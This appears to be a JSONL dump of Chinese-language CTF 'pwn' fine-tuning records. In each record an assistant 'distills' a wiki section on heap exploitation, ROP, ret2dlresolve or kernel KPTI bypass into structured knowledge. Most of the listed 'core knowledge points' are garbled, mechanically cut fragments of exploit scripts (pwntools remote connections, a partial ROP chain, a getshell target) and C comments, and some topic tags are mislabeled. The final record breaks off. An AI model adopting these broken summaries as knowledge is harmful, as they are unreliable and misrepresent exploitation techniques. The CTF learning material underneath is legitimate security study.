{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-05589300f908d69add6e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md` 中的章节「vim:fenc=utf-8」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md`\n标题：堆中的 Off-By-One\n章节：vim:fenc=utf-8\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“vim:fenc=utf-8”展开。\n- from pwn import * context(os='linux', arch='amd64', log_level='debug')\n- if len(sys.argv) > 2: DEBUG = 0 HOST = sys.argv[1] PORT = int(sys.argv[2])\n- p = remote(HOST, PORT) else: DEBUG = 1 if len(sys.argv) == 2: PATH = sys.argv[1]\n- def cmd(choice): p.recvuntil('> ') p.sendline(str(choice))\n- def create(book_size, book_name, desc_size, desc): cmd(1) p.recvuntil(': ') p.sendline(str(book_size)) p.recvuntil(': ') if len(book_name) == book_size: p.send(book_name) else: p.sendline(book_name) p.recvuntil(': ') p.sendline(str(desc_size)) p.recvuntil('...\n\n关键术语：\n- 边界/溢出\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2442, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "vim:fenc=utf-8", "heading_path": ["vim:fenc=utf-8"], "original_id": "docs-7e22cd140ddb432b6187", "original_line": 1021, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "source_root": "docs", "source_sha256": "c9420c20a42485b6b155210d4899dbe07dde5bd50311698d2cedbba97b522cfe", "split": "train", "split_group_key": "f3181686775c887b09d96a83", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "堆中的 Off-By-One"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-056201c27cc35ac96d42", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md` 中的章节「内核地址空间布局」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md`\n标题：基础知识\n章节：基础知识 > 内存管理 > 一、物理内存管理 > 内核地址空间布局\n路径分类：pwn / pwn/windows/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“内核地址空间布局”展开。\n- 首先来一张 64 位 NT kernel 内存布局总览： > 32 位就暂时不考虑研究了，毕竟从 Win11 开始就已经都是纯 64 位了。\n- MmNonPagedPoolStart-1 | 6TB Max | PFN Database | 存储 PFN 相关信息 | | nt!\n- MmNonPagedPoolEnd | 512GB Max | Non-Paged Pool | 非分页内存区域（不会被换到硬盘上） | | FFFFFFFFFFc00000 | FFFFFFFFFFFFFFFF | 4MB | HAL and Loader Mappings | 硬件抽象层与加载器所用区域 |\n- MmNonPagedPoolStart | *nt!\n\n关键术语：\n- pwn\n- windows\n- kernel-mode\n- basic-knowledge\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1371, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "内核地址空间布局", "heading_path": ["基础知识", "内存管理", "一、物理内存管理", "内核地址空间布局"], "original_id": "docs-c8f29cb6f11f200c6816", "original_line": 1451, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "source_root": "docs", "source_sha256": "dffe9072413dc248a151b1fce985a46c7e465f5387c687ba5f3287e4acd99fc6", "split": "train", "split_group_key": "f459f1cb37d25d1fcc1cda4a", "subcategory": "pwn/windows/kernel-mode", "terms": ["pwn", "windows", "kernel-mode", "basic-knowledge"], "title": "基础知识"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0572110be913b60d597f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`\n标题：Fastbin Attack\n章节：Fastbin Attack > House Of Spirit > 介绍\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“介绍”展开。\n- 要想构造 fastbin fake chunk，并且将其释放时，可以将其放入到对应的 fastbin 链表中，需要绕过一些必要的检测，即 - fake chunk 的 ISMMAP 位不能为1，因为 free 时，如果是 mmap 的 chunk，会单独处理。\n- fake chunk 地址需要对齐， MALLOC_ALIGN_MASK - fake chunk 的 size 大小需要满足对应的 fastbin 的需求，同时也得对齐。\n- 至于为什么要绕过这些检测，可以参考 free 部分的源码。\n- House of Spirit 是 the Malloc Maleficarum 中的一种技术。\n- 该技术的核心在于在目标位置处伪造 fastbin chunk，并将其释放，从而达到分配指定地址的 chunk 的目的。\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 510, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "介绍", "heading_path": ["Fastbin Attack", "House Of Spirit", "介绍"], "original_id": "docs-67d080897ceb5e572c4d", "original_line": 919, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "source_root": "docs", "source_sha256": "64df048b597ef6437905e6df1f5ef5b90fc06f950d7e5cb40681b923ec3ce15a", "split": "train", "split_group_key": "114ab69ffa314de9b26b19fc", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "Fastbin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-057401d03b67e092cbbe", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「找到合适的 bin」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`\n标题：申请内存块\n章节：申请内存块 > _int_malloc > 大循环-遍历 unsorted bin > 寻找较大 chunk > 找到合适的 bin\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“找到合适的 bin”展开。\n- There must be one. / // 从当前map的最小的bin一直找，直到找到合适的bin。\n- // 这里是一定存在的 while ((bit & map) == 0) { bin = next_bin(bin);\n- ``c / Advance to bin with set bit.\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 8 行，首行 `/* Advance to bin with set bit. There must be one. */`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 193, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "找到合适的 bin", "heading_path": ["申请内存块", "_int_malloc", "大循环-遍历 unsorted bin", "寻找较大 chunk", "找到合适的 bin"], "original_id": "docs-3c0cd61e836345bc7101", "original_line": 1153, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "source_root": "docs", "source_sha256": "d57c9fb6e3dadf6dcdef23e595c99d5566d1a5c69e96baacfe77e614ff9962bf", "split": "train", "split_group_key": "2337411586896b43381b8732", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "申请内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-058b2f3c45f4332c22fa", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md` 中的章节「分析程序」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md`\n标题：花式栈溢出技巧\n章节：DEBUG(\"b *0x4006B9\\nc\") > 栈上的 partial overwrite > 2018-安恒杯-babypie > 分析程序\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“分析程序”展开。\n- IDA 中看一下, 很容易就能发现漏洞点, 两处输入都有很明显的栈溢出漏洞, 需要注意的是在输入之前, 程序对栈空间进行了清零, 这样我们就无法通过打印栈上信息来 leak binary 或者 libc 的基址了 ``C __int64 sub_960() { char buf[40];\n- // overflow printf(\"Hello %s:\\n\", buf, (_QWORD )buf, (_QWORD )&buf[8], (_QWORD )&buf[16], (_QWORD )&buf[24]);\n- // [rsp+28h] [rbp-8h] v2 = __readfsqword(0x28u);\n- } ` 同时也发现程序中给了能直接 get shell 的函数 `asm .text:0000000000000A3E getshell proc near .text:0000000000000A3E ;\n- } // starts at A3E .text:0000000000000A50 getshell endp `` 这样我们只要控制 rip 到该函数即可\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:c\n- code:asm\n\n代码/命令片段线索：\n- C: 15 行，首行 `__int64 sub_960()`\n- asm: 10 行，首行 `.text:0000000000000A3E getshell proc near`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1045, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "分析程序", "heading_path": ["DEBUG(\"b *0x4006B9\\nc\")", "栈上的 partial overwrite", "2018-安恒杯-babypie", "分析程序"], "original_id": "docs-77ea60c706f4651e4449", "original_line": 1272, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "source_root": "docs", "source_sha256": "0b7df13e54f705c9de45a0f19d62105001f5f8907741819d44afc12bc54434d7", "split": "train", "split_group_key": "f9e9228f068931d9741223bb", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow", "code:c", "code:asm"], "title": "花式栈溢出技巧"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-05e56ba08737f8c7d422", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/rop/kpti-bypass.md` 中的章节「Kernel ROP with KPTI bypass」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/rop/kpti-bypass.md`\n标题：Kernel ROP with KPTI bypass\n章节：Kernel ROP with KPTI bypass\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Kernel ROP with KPTI bypass”展开。\n- KPTI 的发明主要是用来修复一个史诗级别的 CPU 硬件漏洞：Meltdown。\n- 简单理解就是利用 CPU 流水线设计中（乱序执行与预测执行）的漏洞来获取到用户态无法访问的内核空间的数据，属于侧信道攻击的一种。\n- 除了在系统调用入口中将用户态页表切换到内核态页表的代码外，内核也相应地在 arch/x86/entry/entry_64.S 中提供了一个用于完成内核态页表切换回到用户态页表的函数 swapgs_restore_regs_and_return_to_usermode，地址可以在 /proc/kallsyms 中获得。\n- iret 返回用户态，而是在返回用户态之前还需要将用户进程的页表给切换回来 。\n- KPTI 即 内核页表隔离（Kernel page-table isolation），内核空间与用户空间分别使用两组不同的页表集，这对于内核的内存管理产生了根本性的变化。\n\n关键术语：\n- 栈\n- ROP/JOP\n- 修复/缓解\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:assembly\n\n代码/命令片段线索：\n- assembly: 7 行，首行 `mov rdi, cr3`\n- plain: 8 行，首行 `↓ swapgs_restore_regs_and_return_to_usermode`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1479, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "Kernel ROP with KPTI bypass", "heading_path": ["Kernel ROP with KPTI bypass"], "original_id": "docs-d48928616684e1ef540f", "original_line": 800, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/kpti-bypass.md", "source_root": "docs", "source_sha256": "1edb6bfca66c2cee66c8b76b071a022f896da48a94c1871e3c151cf9ec33857f", "split": "train", "split_group_key": "beaad5d7513db4a2de759671", "subcategory": "pwn/linux/kernel-mode", "terms": ["栈", "ROP/JOP", "修复/缓解", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:assembly"], "title": "Kernel ROP with KPTI bypass"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/kpti-bypass.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-05f952ebfaa27bdda492", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md` 中的章节「合并非 mmap 的空闲 chunk」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md`\n标题：释放内存块\n章节：释放内存块 > _int_free > 合并非 mmap 的空闲 chunk\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“合并非 mmap 的空闲 chunk”展开。\n- 只有不是 fast bin 的情况下才会触发unlink 首先我们先说一下为什么会合并chunk，这是为了避免heap中有太多零零碎碎的内存块，合并之后可以用来应对更大的内存块请求。\n- ``c++ / Consolidate other non-mmapped chunks as they arrive. / else if (!\n- have_lock) { __libc_lock_lock(av->mutex);\n- 合并的主要顺序为 - 先考虑物理低地址空闲块 - 后考虑物理高地址空闲块 合并后的 chunk 指向合并的 chunk 的低地址。\n- chunk_is_mmapped(p)) { if (!\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c++\n\n代码/命令片段线索：\n- c++: 9 行，首行 `/*`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 396, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "合并非 mmap 的空闲 chunk", "heading_path": ["释放内存块", "_int_free", "合并非 mmap 的空闲 chunk"], "original_id": "docs-50dd7b8ac133118d2154", "original_line": 1132, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md", "source_root": "docs", "source_sha256": "1d6be6f5b7f2621b4a2b531049a02b0da7c6d59e797566776ae9571a59d5660e", "split": "train", "split_group_key": "116b22d9971dd563560a6926", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:c++"], "title": "释放内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0635e68a8cc81d2e82fb", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「Roputil」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：construct ropchain > 基于工具伪造 > Roputil\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Roputil”展开。\n- 代码如下 ```python from roputils import * from pwn import process from pwn import gdb from pwn import context r = process('./main') context.log_level = 'debug' r.recv() rop = ROP('./main') offset = 112 bss_base = rop.section('.bss') buf = rop.fill(offset) buf +...\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 319, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "Roputil", "heading_path": ["construct ropchain", "基于工具伪造", "Roputil"], "original_id": "docs-23a7379328cb47d7179d", "original_line": 1331, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "a2911c2a7a2db3209603cba2", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-06559143de1f30d06c24", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/basic-knowledge/cpu-virtualization.md` 中的章节「模拟 & 解释执行」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/basic-knowledge/cpu-virtualization.md`\n标题：CPU 虚拟化\n章节：CPU 虚拟化 > 纯软件实现 CPU 虚拟化 > 模拟 & 解释执行\n路径分类：pwn / pwn/virtualization/basic-knowledge\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“模拟 & 解释执行”展开。\n- 从某种程度而言，每一条指令在执行时都完成了“陷入”，因此我们可以使用模拟技术解决虚拟化的漏洞，同时还能模拟与物理机不同架构的虚拟机 Qemu——Quick Emulator 本质上便是一个模拟器，其完整地模拟了一套包括各种外设在内的计算机系统。\n- 实现模拟技术的原理也是最简单的——我们可以通过解释执行的方式来实现模拟技术，即模拟器程序不断地从内存中读取指令，并模拟出每一条指令的效果。\n- 不过基于解释执行的模拟技术有着一个非常致命的缺点——性能极差，因为每一条指令都需要经过 VMM 的解析后再由 VMM 模拟执行，哪怕最简单的一条指令也可能需要分解成多个步骤与多次内存访问，效率极低。\n- 让我们重新审视我们为什么需要在 x86 架构上使用模拟技术来实现虚拟机：非特权敏感指令的存在打破了 Popek and Goldberg virtualization requirements，但非特权敏感指令仅是少数，大部分指令我们仍能直接在物理硬件上运行，因此基于模拟技术进行改进的虚拟化技术出现了：扫描 & 修补 与 二进制翻译。\n- 「模拟」（Emulate）技术的出现其实早于虚拟化，纯软件的模拟本质上就是通过编写能够呈现出与被模拟对象相同行为的应用程式从而达到运行非同构平台应用程序的效果。\n\n关键术语：\n- 漏洞利用\n- pwn\n- virtualization\n- basic-knowledge\n- cpu-virtualization.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 735, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "模拟 & 解释执行", "heading_path": ["CPU 虚拟化", "纯软件实现 CPU 虚拟化", "模拟 & 解释执行"], "original_id": "docs-5797a5119ac3e909ed20", "original_line": 1401, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/cpu-virtualization.md", "source_root": "docs", "source_sha256": "62195df706a3b215353c99b8c10a0bc6fd7a8ba0630c446bc0dd344eae945033", "split": "train", "split_group_key": "2dc73a0d48dc1cb13e7555eb", "subcategory": "pwn/virtualization/basic-knowledge", "terms": ["漏洞利用", "pwn", "virtualization", "basic-knowledge", "cpu-virtualization.md"], "title": "CPU 虚拟化"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/cpu-virtualization.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-06c5ded5262168e37e8b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md` 中的章节「安全性检查」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md`\n标题：Unsorted Bin Attack\n章节：in order not to merge into top chunk > 2016 0CTF zerostorage-待完成 > 安全性检查\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“安全性检查”展开。\n- 可以看出，该程序开启了所有的保护 ``shell pwndbg> checksec [*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/unsorted_bin_attack/zerostorage/zerostorage' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled ``\n\n关键术语：\n- 堆\n- 栈\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:shell\n\n代码/命令片段线索：\n- shell: 8 行，首行 `pwndbg> checksec`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 257, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "安全性检查", "heading_path": ["in order not to merge into top chunk", "2016 0CTF zerostorage-待完成", "安全性检查"], "original_id": "docs-5a82b5c261af1d9bc8f7", "original_line": 1110, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "source_root": "docs", "source_sha256": "c2ba53ae053f8100dfd6c9f4174e9fdafca0b7e6ad07e6279865c89a5f082052", "split": "train", "split_group_key": "835e4793b3daa675c4594709", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:shell"], "title": "Unsorted Bin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-06d0f59388c92abcafaf", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md` 中的章节「_int_free」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md`\n标题：释放内存块\n章节：释放内存块 > _int_free\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 函数初始时刻定义了一系列的变量，并且得到了用户想要释放的 chunk 的大小 ``c++ static void _int_free(mstate av, mchunkptr p, int have_lock) { INTERNAL_SIZE_T size;\n- / associated fastbin / mchunkptr nextchunk;\n- / next contiguous chunk / INTERNAL_SIZE_T nextsize;\n- / true if nextchunk is used / INTERNAL_SIZE_T prevsize;\n- / size of previous contiguous chunk / mchunkptr bck;\n- / misc temp for linking / const char errstr = NULL;\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c++\n\n代码/命令片段线索：\n- c++: 12 行，首行 `static void _int_free(mstate av, mchunkptr p, int have_lock) {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 559, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "_int_free", "heading_path": ["释放内存块", "_int_free"], "original_id": "docs-e1582197ef1e041de216", "original_line": 1129, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md", "source_root": "docs", "source_sha256": "1d6be6f5b7f2621b4a2b531049a02b0da7c6d59e797566776ae9571a59d5660e", "split": "train", "split_group_key": 